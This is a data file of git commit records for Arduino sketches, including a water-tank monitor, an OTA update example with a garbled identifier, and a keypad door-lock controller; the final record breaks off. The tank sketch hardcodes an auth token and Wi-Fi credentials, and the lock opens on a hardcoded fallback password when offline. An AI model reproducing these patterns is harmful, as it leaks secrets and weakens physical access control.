{"commit":"34ec6a843b0d24d5b96fb98a373ace8a258b7750","subject":"Calibration file","message":"Calibration file","repos":"W4KRL\/D1M-WX1-Weather-Station","old_file":"D1M-WX1_Calibration\/D1M-WX1_Calibration.ino","new_file":"D1M-WX1_Calibration\/D1M-WX1_Calibration.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/W4KRL\/D1M-WX1-Weather-Station.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1635591f4cae639d9a0b24fe53c721e3dc9c9900","subject":"Create balancing_tank.ino","message":"Create balancing_tank.ino","repos":"chancsc\/SC_SmartThings,chancsc\/SC_SmartThings","old_file":"ESP8266\/Water_Level_Temp\/balancing_tank.ino","new_file":"ESP8266\/Water_Level_Temp\/balancing_tank.ino","new_contents":"\/\/Project: Monitor water level (HC-SR04P) of Balacing tank and the Temperature of Water (DS18b20) \/ Ambient (DHT22) \n\/\/ Send alert via Blynk app if water level is too high, or water temperature is higher than 28 C\n\n\/*\n\/\/https:\/\/community.blynk.cc\/t\/water-tank-level-indicator-with-low-level-warning-notifications\/26271\n\n\/\/v1.0 - Wifi Manager + Blynk\n\/\/v1.1 - added deep sleep function - https:\/\/community.blynk.cc\/t\/esp-deep-sleep\/5622\/13\n\/\/v1.2 - added run time change of deep sleep interval via UI setup\n\/\/v1.3 - \n\n\/\/**** Blynk Virtual Pin Assignments****\n\/\/ V0 - Water temperature alert\n\/\/ V1 - Tank Height (cm)\n\/\/ V2 - Sensor distance from Tank (cm)\n\/\/ V3 - Temperature\n\/\/ V4 - Battery voltage\n\/\/ V6 - Numeric Widget - Sleep interval (mins)\n\/\/ V9 - Level V widget - Water Level %\n\/\/V10 - Numeric Widget - Level exceed then will trigger Alert\n\/\/V11 - Button Widget - To enable \/ disable Alert\n\/\/V12 - Distance - height from sensor to water level\n\nHardware: \n1. Wemos D1 Pro\n2. DS18B20 Temperature Sensor\n3. Ultra Sonic Sensor\n4. 4.7k resistor - put between D4 and VCC\n\n\nUltra sonic Sensor: Vcc - D7, Gnd - Gnd, Echo - D6, Trigger - D5\nDS18820 - Vcc - D8, Gnd - Gnd, Data - D4\n\nTodo\n----\n- if sonar sensor out of range --> don't save but Alert\n- water temperature alert\n\n*\/\n\n#include <OneWire.h>\n#include <DallasTemperature.h>\n#include <ESP8266WiFi.h>\n#include <BlynkSimpleEsp8266.h>\n\nchar auth[] = \"X2Z4r2nC8AxFGrZQqMhbhBbCgVCtOnhl\";\n\nchar ssid[] = \"dongdaemum\";\nchar pass[] = \"1111111111\";\n\nBlynkTimer timer;\n\n\/\/HC-SR04 ultra sonic sensor\n#define trigPin D5 \/\/ Trigger Pin\n#define echoPin D6 \/\/ Echo Pin\n#define RadarPowerPin D7 \/\/GPIO12 = D6, GPIO14 = D5, GPIO15 = D8\n\n\/\/DS18820 temperature sensor\n#define sensorPin D4\n#define TempPowerPin D8\n\n#define filterSamples 15 \/\/ filterSamples should be an odd number, no smaller than 3\n\nint alertLevelCounter = 0; \/\/Counter starts at zero\n\/\/int volume1; \/\/ for smoothing algorithum\ndouble wLevel; \/\/ for smoothing algorithum\nint levelAlert;\nint wateralert = 0;\n\/\/int sensSmoothArray1 [filterSamples]; \/\/ array for holding raw sensor values for sensor1 \nint smoothDistance; \/\/ variables for sensor1 data\n\n\/\/double alertInMin = 0.5; \/\/Alert time following alert water level being reached (0.5 = 30secs)\n\/\/const int alertDuration = 2; \/\/Alert sent every 2 minutes\n\nint checkFreq = 2; \/\/how often run the check \/ sleep for how long before wake up, in mins\nint tankHeight = 100; \/\/tank's height\nint heightFrTank = 20; \/\/sensor distance from tank\nlong duration, distance; \/\/ Duration used to calculate distance\n\n\/\/init DS11820\nOneWire oneWire(sensorPin);\nDallasTemperature DS18B20(&oneWire);\nfloat temp;\nfloat volt;\n\nBLYNK_CONNECTED() { \/\/ runs once at device startup, once connected to server.\n Blynk.syncVirtual(V1);\n Blynk.syncVirtual(V2);\n Blynk.syncVirtual(V6);\n Blynk.syncVirtual(V10);\n Blynk.syncVirtual(V11);\n}\n\nBLYNK_WRITE(V1) {\n tankHeight = param.asInt();\n Serial.print(\"\\nTank's Height: \");\n Serial.println(tankHeight);\n Serial.println();\n} \n\nBLYNK_WRITE(V2) {\n heightFrTank = param.asInt();\n Serial.print(\"Height from Tank: \");\n Serial.println(heightFrTank);\n Serial.println();\n} \n\nBLYNK_WRITE(V6) {\n checkFreq = param.asInt();\n Serial.print(\"Sleep Interval: \");\n Serial.println(checkFreq);\n Serial.println();\n} \n\nBLYNK_WRITE(V10) {\n levelAlert = param.asInt();\n Serial.print(\"Water Level Alert: \");\n Serial.println(levelAlert);\n Serial.println();\n} \n \nBLYNK_WRITE(V11) { \n\n int alertOff = param.asInt();\n\n if(alertOff == 0) {\n resetWaterLevelAlert();\n wateralert = 1;\n Serial.print(\"Level Alert is OFF.\");\n Serial.println();\n }\n else {\n resetWaterLevelAlert();\n wateralert = 0;\n Serial.print(\"Level Alert is ON.\");\n Serial.println();\n }\n\n}\n\nvoid resetWaterLevelAlert() {\n alertLevelCounter = 0;\n wateralert = 0;\n}\n\nvoid checkWaterLevel() {\n Serial.print(\"Water Level (%) = \");\n Serial.println(wLevel);\n Serial.print(\"Level Alert (%) = \");\n Serial.println(levelAlert);\n Serial.print(\"Alert (1 = off, 0 = on) = \");\n Serial.println(wateralert);\n\n if(wLevel > levelAlert && wateralert == 0){\n\/\/ alertLevelCounter += 1;\n Blynk.notify(\"Water Tank Level Alert\"); \/\/ send push notification to blynk app\n\n }\n\n\/\/ if(alertLevelCounter > alertInMin * 60 && wateralert == 0){\n\/\/ Blynk.notify(\"Water Tank Level Alert\"); \/\/ send push notification to blynk app\n\/\/ wateralert = 1;\n\/\/ resetWaterLevelAlert();\n\/\/ }\n}\n\nvoid MeasureCmForSmoothing() {\n\n \/\/take multiple reading\n\n digitalWrite(RadarPowerPin, HIGH); \/\/provide power\n delay(1000);\n \n smoothDistance = mesureDistance();\n \n digitalWrite(RadarPowerPin, LOW); \/\/turn off power\n delay(100);\n \n Serial.print(\"Smoothed Distance: \");\n Serial.println(smoothDistance);\n\n \/\/tank height 100 cm, sensor is 20 cm above the tank\n wLevel = (tankHeight + heightFrTank - smoothDistance);\n\n Serial.print(\"Water Level (cm): \");\n Serial.println(wLevel);\n\n \/\/convert to %\n wLevel = wLevel \/ tankHeight * 100;\n\n Serial.print(\"Water Level (%): \");\n Serial.println(wLevel);\n\n Blynk.virtualWrite(V12, smoothDistance); \/\/ virtual pin\n Blynk.virtualWrite(V9, wLevel); \/\/ virtual pin\n delay(1000);\n} \n\nvoid UploadMeasureCmForSmoothing() {\n\n Blynk.virtualWrite(V3, temp); \/\/ Water level %\n Blynk.virtualWrite(V4, volt); \/\/ battery \n Blynk.virtualWrite(V9, wLevel); \/\/ Water level %\n Blynk.virtualWrite(V12, smoothDistance); \/\/ virtual pin\n \n}\n\n\nvoid setup() {\n Serial.begin(115200);\n Blynk.begin(auth, ssid, pass);\n \n pinMode(trigPin, OUTPUT);\n pinMode(echoPin, INPUT);\n \/\/pin to provide power to ultra sonic sensor\n pinMode(RadarPowerPin, OUTPUT);\n\n \/\/pin to provide power to temperature sensor\n pinMode(TempPowerPin, OUTPUT);\n \n Serial.println(\"Measure Water Temperature\");\n measurementEvent();\n\n Serial.println(\"\\nMeasure Water Level\");\n MeasureCmForSmoothing();\n\n Serial.println(\"Upload Data\");\n UploadMeasureCmForSmoothing();\n\n Serial.println(\"check WaterLevel Alert\");\n checkWaterLevel();\n\n goToSleep();\n\n}\n \nvoid loop() {\n\n}\n\nint digitalSmooth(int rawIn, int *sensSmoothArray){ \/\/ \"int *sensSmoothArray\" passes an array to the function - the asterisk indicates the array name is a pointer\nint j, k, temp, top, bottom;\nlong total;\nstatic int i;\n\/\/ static int raw[filterSamples];\nstatic int sorted[filterSamples];\nboolean done;\n\ni = (i + 1) % filterSamples; \/\/ increment counter and roll over if necc. - % (modulo operator) rolls over variable\nsensSmoothArray[i] = rawIn; \/\/ input new data into the oldest slot\n\n\/\/ Serial.print(\"raw = \");\n\n for (j=0; j<filterSamples; j++){ \/\/ transfer data array into anther array for sorting and averaging\n sorted[j] = sensSmoothArray[j];\n }\n\n done = 0; \/\/ flag to know when we're done sorting \n while(done != 1){ \/\/ simple swap sort, sorts numbers from lowest to highest\n done = 1;\n for(j = 0; j < (filterSamples - 1); j++){\n if(sorted[j] > sorted[j + 1]){ \/\/ numbers are out of order - swap\n temp = sorted[j + 1];\n sorted [j+1] = sorted[j] ;\n sorted [j] = temp;\n done = 0;\n }\n }\n }\n\n \/\/ throw out top and bottom 15% of samples - limit to throw out at least one from top and bottom\n \/\/ bottom = max(((filterSamples * 15) \/ 100), 1); \n \/\/ top = min((((filterSamples * 85) \/ 100) + 1 ), (filterSamples - 1)); \/\/ the + 1 is to make up for asymmetry caused by integer rounding\n bottom = max(((filterSamples * 20) \/ 100), 1); \n top = min((((filterSamples * 80) \/ 100) + 1 ), (filterSamples - 1)); \/\/ the + 1 is to make up for asymmetry caused by integer rounding\n k = 0;\n total = 0;\n for( j = bottom; j< top; j++){\n total += sorted[j]; \/\/ total remaining indices\n k++; \n \/\/Serial.print(sorted[j]); \n \/\/Serial.print(\" \"); \n \/\/terminal.print(sorted[j]); \n \/\/terminal.println(\" \");\n \n }\n \/\/terminal.print(\"average: \");\n \/\/terminal.println(total\/k);\n \/\/terminal.flush();\n \/\/Serial.println();\n \/\/Serial.print(\"average = \");\n \/\/Serial.println(total\/k);\n return total \/ k; \/\/ divide by number of samples\n}\n\nint mesureSingleDistance() {\n long duration, distance;\n\n digitalWrite(trigPin, LOW);\n delayMicroseconds(2);\n digitalWrite(trigPin, HIGH);\n delayMicroseconds(10);\n digitalWrite(trigPin, LOW);\n duration = pulseIn(echoPin, HIGH);\n distance = (duration\/2) \/ 29.1;\n\n Serial.print(\"Distance: \");\n Serial.println(distance);\n\n return distance;\n }\n\n\/**\n * mresure distnce average delay 10ms\n *\/\nint mesureDistance() {\n const int ULTRASONIC_MIN_DISTANCE = heightFrTank; \/\/20\n const int ULTRASONIC_MAX_DISTANCE = tankHeight + heightFrTank; \/\/120\n\n int i, total_count = 0, total_distance = 0, distance, values[10], average, temp, new_count = 0;\n\n for(i=0; i<5; i++){\n distance = mesureSingleDistance();\n \/\/check if out of range\n if(distance > ULTRASONIC_MIN_DISTANCE && distance < ULTRASONIC_MAX_DISTANCE) {\n total_distance += distance;\n values[total_count++]=distance;\n Serial.printf(\"Value %d...\\n\", distance);\n }\n }\n\n Serial.print(\"total_count = \");\n Serial.println(total_count);\n if(total_count > 0) {\n\n average = total_distance \/ total_count;\n total_distance = 0;\n Serial.printf(\"Average %d...\\n\", average);\n\n for(i=0; i<total_count; i++){\n temp = (average - values[i])*100\/average;\n Serial.printf(\"Analyze %d....%d...\\n\", values[i],temp);\n if(temp < 10 && temp > -10){\n total_distance += values[i];\n new_count++;\n }\n }\n\n if(new_count > 0) {\n\/\/ Serial.print(\"total_distance = \");\n\/\/ Serial.println(total_distance);\n\/\/ Serial.print(\"new_count = \");\n\/\/ Serial.println(new_count);\n return total_distance \/ new_count;\n }\n }\n Serial.println(\"Sonar sensor out of range\");\n return 0; \/\/return 0 meaning the sensor out of range\n }\n\nvoid goToSleep() {\n \/\/ calculate required sleep time and go to sleep\n\n Serial.print(\" Going to sleep now for \");\n Serial.print(checkFreq);\n Serial.println(\" mins\");\n\n ESP.deepSleep(checkFreq * 60 * 1000000); \/\/deepSleep is microseconds 1 sec = 1000000\n delay(100);\n\n} \/\/ end of void goToSleep()\n\nvoid measurementEvent() {\n\n\n \/\/******Measure Water Temperature*********************************************\n digitalWrite(TempPowerPin, HIGH); \/\/provide power\n delay(2000);\n \n DS18B20.begin();\n DS18B20.requestTemperatures(); \n temp = DS18B20.getTempCByIndex(0); \/\/ Celcius\n Serial.print(\"Temperature (C) = \");\n Serial.println(temp);\n\n digitalWrite(TempPowerPin, LOW); \/\/turn off power\n delay(100);\n\n \/\/******Battery Voltage Monitoring*********************************************\n \/\/depend on 220k or 100k resistor used, toggle between this 2 calculation\n\n \/\/ using 220k\n \/\/ Voltage divider R1=100k, R2 = (220k + 100k) + 220k = 540k\n \/\/ Calculation to get the factor: 4.2v * 100\/540 = 0.7777, 0.7777 * y = 4.2, y = 5.4\n\/\/ float calib_factor = 5.28; \/\/ change this value to calibrate the battery voltage, 5.28 is so call calibrated\n\/\/ float calib_factor = 5.4;\n\n \/\/ using 100k\n \/\/ Voltage divider R1 = 100k, R2 = (220k + 100k) + 100k = 420k; \n \/\/ Calculation to get the factor: 4.2v * 100\/420 = 1, 1 * y = 4.2, y = 4.2\n float calib_factor = 4.2;\n \n unsigned long raw = analogRead(A0);\n\/\/ Serial.print(\"raw analog = \");\n\/\/ Serial.println(raw);\n float volt = raw * calib_factor\/1024; \n \n Serial.print( \"\\nVoltage = \");\n Serial.print(volt, 2); \/\/ print with 2 decimal places\n Serial.println (\" V\");\n \n \/\/*******************************************************************************\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266\/Water_Level_Temp\/balancing_tank.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f115e4210572e9ec89dea51206b087a70a4c3661","subject":"add httpUpdate.ino example","message":"add httpUpdate.ino example\n\n#1021\n","repos":"hallard\/Arduino,Juppit\/Arduino,jes\/Arduino,hallard\/Arduino,jes\/Arduino,lrmoreno007\/Arduino,martinayotte\/ESP8266-Arduino,NullMedia\/Arduino,me-no-dev\/Arduino,Adam5Wu\/Arduino,sticilface\/Arduino,sticilface\/Arduino,toastedcode\/esp8266-Arduino,hallard\/Arduino,hallard\/Arduino,gguuss\/Arduino,esp8266\/Arduino,NextDevBoard\/Arduino,sticilface\/Arduino,Juppit\/Arduino,sticilface\/Arduino,lrmoreno007\/Arduino,NullMedia\/Arduino,Lan-Hekary\/Arduino,Links2004\/Arduino,gguuss\/Arduino,lrmoreno007\/Arduino,edog1973\/Arduino,Juppit\/Arduino,quertenmont\/Arduino,Lan-Hekary\/Arduino,toastedcode\/esp8266-Arduino,toastedcode\/esp8266-Arduino,Juppit\/Arduino,Adam5Wu\/Arduino,esp8266\/Arduino,wemos\/Arduino,martinayotte\/ESP8266-Arduino,toastedcode\/esp8266-Arduino,KaloNK\/Arduino,Lan-Hekary\/Arduino,martinayotte\/ESP8266-Arduino,me-no-dev\/Arduino,gguuss\/Arduino,lrmoreno007\/Arduino,me-no-dev\/Arduino,Lan-Hekary\/Arduino,NullMedia\/Arduino,me-no-dev\/Arduino,Adam5Wu\/Arduino,quertenmont\/Arduino,NextDevBoard\/Arduino,esp8266\/Arduino,jes\/Arduino,NullMedia\/Arduino,martinayotte\/ESP8266-Arduino,toastedcode\/esp8266-Arduino,esp8266\/Arduino,hallard\/Arduino,quertenmont\/Arduino,sticilface\/Arduino,wemos\/Arduino,me-no-dev\/Arduino,NextDevBoard\/Arduino,edog1973\/Arduino,KaloNK\/Arduino,Links2004\/Arduino,gguuss\/Arduino,KaloNK\/Arduino,Adam5Wu\/Arduino,Adam5Wu\/Arduino,NullMedia\/Arduino,gguuss\/Arduino,KaloNK\/Arduino,wemos\/Arduino,Links2004\/Arduino,NextDevBoard\/Arduino,KaloNK\/Arduino,edog1973\/Arduino,edog1973\/Arduino,NextDevBoard\/Arduino,wemos\/Arduino,jes\/Arduino,Lan-Hekary\/Arduino,wemos\/Arduino,Links2004\/Arduino,Juppit\/Arduino,quertenmont\/Arduino,jes\/Arduino,martinayotte\/ESP8266-Arduino,Links2004\/Arduino,esp8266\/Arduino,lrmoreno007\/Arduino,quertenmont\/Arduino,edog1973\/Arduino","old_file":"libraries\/ESP8266httpUpdate\/examples\/httpUpdate\/httpUpdate.ino","new_file":"libraries\/ESP8266httpUpdate\/examples\/httpUpdate\/httpUpdate.ino","new_contents":"\/**\r\n * httpUpdate.ino\r\n *\r\n * Created on: 27.11.2015\r\n *\r\n *\/\r\n\r\n#include <Arduino.h>\r\n\r\n#include <ESP8266WiFi.h>\r\n#include <ESP8266WiFiMulti.h>\r\n\r\n#include <ESP8266httpClient.h>\r\n#include <ESP8266httpUpdate.h>\r\n\r\n#define USE_SERIAL Serial\r\n\r\nESP8266WiFiMulti WiFiMulti;\r\n\r\nvoid setup() {\r\n\r\n USE_SERIAL.begin(115200);\r\n \/\/ USE_SERIAL.setDebugOutput(true);\r\n\r\n USE_SERIAL.println();\r\n USE_SERIAL.println();\r\n USE_SERIAL.println();\r\n\r\n for(uint8_t t = 4; t > 0; t--) {\r\n USE_SERIAL.printf(\"[SETUP] WAIT %d...\\n\", t);\r\n USE_SERIAL.flush();\r\n delay(1000);\r\n }\r\n\r\n WiFiMulti.addAP(\"SSID\", \"PASSWORD\");\r\n\r\n}\r\n\r\nvoid loop() {\r\n \/\/ wait for WiFi connection\r\n if((WiFiMulti.run() == WL_CONNECTED)) {\r\n\r\n t_httpUpdate_return ret = ESPhttpUpdate.update(\"http:\/\/server\/file.bin\");\r\n \/\/t_httpUpdate_return ret = ESPhttpUpdate.update(\"https:\/\/server\/file.bin\");\r\n\r\n switch(ret) {\r\n case HTTP_UPDATE_FAILED:\r\n USE_SERIAL.println(\"HTTP_UPDATE_FAILD\");\r\n break;\r\n\r\n case HTTP_UPDATE_NO_UPDATES:\r\n SeriUSE_SERIALal.println(\"HTTP_UPDATE_NO_UPDATES\");\r\n break;\r\n\r\n case HTTP_UPDATE_OK:\r\n USE_SERIAL.println(\"HTTP_UPDATE_OK\");\r\n break;\r\n }\r\n }\r\n}\r\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/ESP8266httpUpdate\/examples\/httpUpdate\/httpUpdate.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"db87b409bc4399ceab4e05a84f3de7b68f4029da","subject":"Add DCS Alpha 4","message":"Add DCS Alpha 4\n\nOffline mode handling\n","repos":"Dimasdanz\/BiotechProject,Dimasdanz\/BiotechProject","old_file":"BiotechHardware\/dcs\/dcs_alpha4\/dcs_alpha4.ino","new_file":"BiotechHardware\/dcs\/dcs_alpha4\/dcs_alpha4.ino","new_contents":"#include <utility\/w5100.h>\n#include <SPI.h>\n#include <Ethernet.h>\n#include <Keypad.h>\n#include <Wire.h> \n#include <LiquidCrystal_I2C.h>\n#include <Servo.h>\n\nconst char server[] = \"192.168.2.4\";\nbyte mac[] = {\n 0x90, 0xA2, 0xDA, 0x0E, 0xF5, 0xF8};\nIPAddress ip(192,168,1,5);\n\nEthernetClient client;\n\nconst byte ROWS = 4;\nconst byte COLS = 3;\nchar keys[ROWS][COLS] = {\n {\n '1','2','3' }\n ,{\n '4','5','6' }\n ,{\n '7','8','9' }\n ,{\n '*','0','#' }\n};\n\nbyte rowPins[ROWS] = {\n 2, 3, 4, 5};\nbyte colPins[COLS] = {\n 6, 7, 8};\n\nKeypad keypad = Keypad(makeKeymap(keys), rowPins, colPins, ROWS, COLS );\nLiquidCrystal_I2C lcd(0x27,20,4);\nServo myservo;\n\nconst int sensor = A2;\nconst int push_btn = A3;\nconst int servo = 9;\n\nint attempt = 0;\nint count = 0;\nint max_attempt;\nString disp = \"\";\nchar pass[16];\n\nboolean display_armed = false;\nboolean display_disarmed = false;\nboolean display_locked = false;\nboolean display_unlocked = false;\nboolean display_offline = false;\nboolean display_online = false;\n\nboolean device_status = false;\nboolean device_condition = false;\n\nboolean device_offline = false;\n\nlong prevTime = 0;\nlong interval_check = 60000;\n\nvoid setup(){\n Serial.begin(9600);\n myservo.attach(9);\n Ethernet.begin(mac, ip);\n\n Serial.println(Ethernet.localIP());\n\n W5100.setRetransmissionTime(0x07D0);\n W5100.setRetransmissionCount(3);\n\n lcd.init();\n lcd.backlight();\n lcd.setCursor(3, 0);\n lcd.print(\"Keamanan Pintu\");\n lcd.setCursor(0,1);\n lcd.print(\"Inisialisasi\");\n\n check_server();\n\n lcd_init();\n pinMode(sensor, INPUT);\n digitalWrite(sensor, HIGH);\n pinMode(push_btn, INPUT);\n digitalWrite(push_btn, HIGH);\n myservo.write(70);\n}\n\nvoid loop(){\n unsigned long curTime = millis();\n\n if(curTime - prevTime > interval_check){\n prevTime = curTime;\n check_server();\n }\n\n if(digitalRead(push_btn) == LOW){\n open_door();\n lcd_init();\n }\n\n if(device_status){\n if(device_condition){\n char key = keypad.getKey();\n if (key != NO_KEY){\n disp += \"*\";\n lcd.setCursor(0,2);\n lcd.print(disp);\n pass[count] = key;\n count++;\n }\n if(key == '*'){\n attempt++;\n send_password(pass);\n sys_init();\n lcd_init();\n }\n if(key == '#'){\n sys_init();\n lcd_init();\n }\n }\n else{\n check_server();\n }\n }\n else{\n check_server();\n }\n}\n\nvoid check_server(){\n Serial.print(\"Cek Status\");\n String a = read_server(\"\/api\/dcs\/dcs_get_server\");\n if(a != \"2\"){\n String s = a.substring(0,1);\n String c = a.substring(2,3);\n if(s == \"1\"){\n device_status = true;\n if(!display_armed){\n lcd_init();\n lcd_offline(false);\n display_armed = true;\n }\n Serial.println(\"Status True\");\n display_disarmed = false;\n display_offline = false;\n }\n else{\n device_status = false;\n if(!display_disarmed){\n lcd_print(\"Perangkat non-aktif\");\n lcd_offline(false);\n display_disarmed = true;\n }\n Serial.println(\"Status False\");\n display_armed = false;\n display_offline = false;\n }\n if(c == \"1\"){\n device_condition = false;\n if(!display_locked){\n lcd_print(\"Perangkat terkunci\");\n lcd_offline(false);\n display_locked = true;\n }\n Serial.println(\"Kondisi False\");\n display_unlocked = false;\n display_offline = false;\n }\n else{\n device_condition = true;\n if(!display_unlocked){\n lcd_init();\n lcd_offline(false);\n display_unlocked = true;\n }\n Serial.println(\"Kondisi True\");\n display_locked = false;\n display_offline = false;\n }\n }\n else{\n device_status = true;\n device_condition = true;\n if(!display_offline){\n lcd_offline(true);\n display_offline = true;\n }\n display_locked = false;\n display_unlocked = false;\n display_disarmed = false;\n display_armed = false;\n }\n}\n\nvoid sys_init(){\n memset(pass, 0, sizeof pass);\n count = 0;\n disp = \"\";\n}\n\nvoid lcd_init(){\n lcd.setCursor(3,0);\n lcd.print(\"Keamanan Pintu\");\n lcd.setCursor(0,1);\n lcd.print(\"Kata Kunci :\");\n lcd.setCursor(0,2);\n for(int i=0;i<20;i++){\n lcd.print(\" \");\n }\n}\n\nvoid lcd_offline(boolean b){\n if(b){\n lcd.setCursor(19,0);\n lcd.print(\"*\");\n }\n else{\n lcd.setCursor(19,0);\n lcd.print(\" \");\n }\n}\n\nvoid lcd_print(String s){\n lcd.setCursor(0,1);\n for(int i=0;i<20;i++){\n lcd.print(\" \");\n }\n lcd.setCursor(0,2);\n for(int i=0;i<20;i++){\n lcd.print(\" \");\n }\n lcd.setCursor(0,3);\n for(int i=0;i<20;i++){\n lcd.print(\" \");\n }\n lcd.setCursor(0,2);\n lcd.print(s);\n}\n\nvoid lcd_attempts(int tried, int attempts){\n lcd.setCursor(0,3);\n lcd.print(\"Percobaan :\");\n lcd.setCursor(13,3);\n lcd.print(tried);\n lcd.setCursor(15,3);\n lcd.print(\"\/\");\n lcd.print(attempts);\n}\n\nvoid send_password(char password[]){\n String data =\"\";\n EthernetClient client;\n String s_password = \"password=\";\n data = s_password+password;\n Serial.println(data);\n\n if (client.connect(server,80))\n {\n if(device_offline){\n device_offline = false;\n lcd_offline(false);\n attempt = 0;\n }\n client.print(\"POST \/api\/dcs\/dcs_check_password HTTP\/1.1\\n\");\n client.print(\"Host: 192.168.2.4\\n\");\n client.print(\"Connection: close\\n\");\n client.print(\"Content-Type: application\/x-www-form-urlencoded\\n\");\n client.print(\"Content-Length: \");\n client.print(data.length());\n client.print(\"\\n\\n\");\n client.print(data);\n\n delay(50);\n check_result(read_server(\"\/api\/dcs\/dcs_get_value\/result\"));\n }\n else{\n Serial.println(\"Sending... Server offline\");\n device_offline = true;\n lcd_offline(true);\n String pass(password);\n if(pass == \"01234*\"){\n check_result(\"1\");\n }\n else{\n check_result(\"0\");\n }\n }\n}\n\nvoid check_result(String result){\n if(attempt <= 1 || !device_offline){\n max_attempt = read_server(\"\/api\/dcs\/dcs_get_value\/password_attempts\").toInt();\n lcd_attempts(attempt, max_attempt);\n }\n if(result == \"1\"){\n open_door();\n }\n else{\n lcd_print(\"Password Salah\");\n lcd_attempts(attempt, max_attempt);\n delay(1000);\n if(max_attempt > 0){\n if(attempt >= max_attempt){\n if(attempt != 0){\n lock_device();\n }\n attempt = 0;\n }\n }\n }\n}\n\nvoid open_door(){\n attempt = 0;\n lcd_print(\"Pintu Terbuka\");\n myservo.write(30);\n delay(3000);\n int val = digitalRead(sensor);\n while(digitalRead(sensor) == HIGH){\n val = digitalRead(sensor);\n }\n delay(1000);\n myservo.write(70);\n}\n\nString read_server(String url){\n if (client.connect(server, 80)) {\n client.print(\"GET \");\n client.println(url);\n client.println();\n return readData();\n }\n else{\n Serial.println(\"Reading... Server offline\");\n return \"2\";\n }\n}\n\nString readData(){\n int stringPos = 0; \n boolean startRead = false;\n char inString[8];\n\n memset( &inString, 0, 8 );\n while(true){\n if (client.available()) {\n char c = client.read();\n if (c == '<' ) {\n startRead = true;\n }\n else if(startRead){\n if(c != '>'){\n inString[stringPos] = c;\n stringPos ++;\n }\n else{\n startRead = false;\n client.stop();\n client.flush();\n return inString;\n }\n }\n }\n }\n}\n\nvoid lock_device(){\n String data =\"\";\n EthernetClient client;\n data = \"1\";\n\n if (client.connect(server,80))\n {\n client.print(\"POST \/api\/dcs\/dcs_lock HTTP\/1.1\\n\");\n client.print(\"Host: 192.168.2.4\\n\");\n client.print(\"Connection: close\\n\");\n client.print(\"Content-Type: application\/x-www-form-urlencoded\\n\");\n client.print(\"Content-Length: \");\n client.print(data.length());\n client.print(\"\\n\\n\");\n client.print(data);\n\n device_condition = false;\n }\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'BiotechHardware\/dcs\/dcs_alpha4\/dcs_alpha4.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"82d8871641c8eddf062c933e62aee39260ff1715","subject":"Countly SDK for Arduino\/Genuino 101 (Intel Curie Boards) and official Arduino ethernet shield","message":"Countly SDK for Arduino\/Genuino 101 (Intel Curie Boards) and official Arduino ethernet shield\n","repos":"Countly\/countly-sdk-iot-cpp","old_file":"Arduino101IntelCurieIoTSDK\/examples\/accelerometer\/accelerometer.ino","new_file":"Arduino101IntelCurieIoTSDK\/examples\/accelerometer\/accelerometer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Countly\/countly-sdk-iot-cpp.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"eca6bc5def22143d2dc4ead9fa0d46c8f86f8ba5","subject":"Example","message":"Example\n","repos":"kilof206\/CostaButton","old_file":"examples\/ButtonTest\/ButtonTest.ino","new_file":"examples\/ButtonTest\/ButtonTest.ino","new_contents":"#include <CostaButton.h>\n\nCostaButton foot(A0, HIGH, true);\n\nvoid setup()\n{\n\tSerial.begin(9600);\n}\n\nvoid loop()\n{\n\tint event = foot.checkEvent();\n\t\n\tif (event != NONE_EVENT)\n\t{\n\t\tSerial.print(\"Event: \");\n\t\tSerial.print(event);\n\t\tSerial.print(\", state:\");\n\t\tSerial.print(foot.getState());\n\t\tSerial.print(\", last state:\");\n\t\tSerial.println(foot.getLastState());\n\t}\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ButtonTest\/ButtonTest.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"9e52e1f398b28fc8f9b14d8271cbf29da98326cc","subject":"Changed default program to simplify testing.","message":"Changed default program to simplify testing.\n\nThis program blinks the 13 pin once per second. However, it's dependent on\nthe current instruction set so I will only keep this while refactoring the\ncode because I can quickly start the simulator and see if the program still\nworks. Later, when I update the instruction set this will be removed.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"eb61acb3c665a1fbb3bef98e4b78f28178165559","subject":"auto format","message":"auto format\n","repos":"TEAMarg\/Tilesheet_Scrolling,TEAMarg\/Tilesheet_Scrolling","old_file":"Tilesheet_Scrolling\/Tilesheet_Scrolling.ino","new_file":"Tilesheet_Scrolling\/Tilesheet_Scrolling.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TEAMarg\/Tilesheet_Scrolling.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"506c32cb2ac7641d7bdd82efd25257f82957ef44","subject":"arduino logic in progress...","message":"arduino logic in 